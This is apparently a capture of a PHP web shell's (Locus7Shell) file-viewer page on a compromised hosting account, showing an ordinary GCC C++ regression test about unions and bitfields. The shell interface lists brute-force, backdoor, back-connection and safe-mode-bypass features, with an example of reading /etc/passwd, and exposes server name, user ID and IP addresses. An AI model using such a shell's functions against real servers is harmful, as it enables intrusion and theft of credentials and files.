Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/g++.dg/tree-ssa/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     pr49516.C (2.14 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-do run } */
/* { dg-options "-O2" } */

extern "C" void abort (void);

typedef int int32 __attribute__((mode (__SI__)));
typedef unsigned uint32 __attribute__((mode (__SI__)));
typedef unsigned uint64 __attribute__((mode (__DI__)));;
typedef int int16 __attribute__((mode (__HI__)));;

class Tp {
 public:
  Tp(int32, const int32 segment, const int32 index) __attribute__((noinline));

  inline bool operator==(const Tp& other) const;
  inline bool operator!=(const Tp& other) const;
  int32 GetType() const { return type_; }
  int32 GetSegment() const { return segment_; }
  int32 GetIndex() const { return index_; }
 private:
  inline static bool IsValidSegment(const int32 segment);
  static const int32 kSegmentBits = 28;
  static const int32 kTypeBits = 4;
  static const int32 kMaxSegment = (1L << kSegmentBits) - 1;

  union {

    struct {
      int32 index_;
      uint32 segment_ : kSegmentBits;
      uint32 type_ : kTypeBits;
    };
    struct {
      int32 dummy_;
      uint32 type_and_segment_;
    };
    uint64 value_;
  };
};

Tp::Tp(int32 t, const int32 segment, const int32 index)
 : index_(index), segment_(segment), type_(t) {}

inline bool Tp::operator==(const Tp& other) const {
  return value_ == other.value_;
}
inline bool Tp::operator!=(const Tp& other) const {
  return value_ != other.value_;
}

class Range {
 public:
  inline Range(const Tp& position, const int32 count) __attribute__((always_inline));
  inline Tp GetBeginTokenPosition() const;
  inline Tp GetEndTokenPosition() const;
 private:
  Tp position_;
  int32 count_;
  int16 begin_index_;
  int16 end_index_;
};

inline Range::Range(const Tp& position,
                    const int32 count)
    : position_(position), count_(count), begin_index_(0), end_index_(0)
    { }

inline Tp Range::GetBeginTokenPosition() const {
  return position_;
}
inline Tp Range::GetEndTokenPosition() const {
  return Tp(position_.GetType(), position_.GetSegment(),
            position_.GetIndex() + count_);
}

int main ()
{
  Range range(Tp(0, 0, 3), 0);
  if (!(range.GetBeginTokenPosition() == Tp(0, 0, 3)))
    abort ();

  if (!(range.GetEndTokenPosition() == Tp(0, 0, 3)))
    abort();

  return 0;
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0061 ]--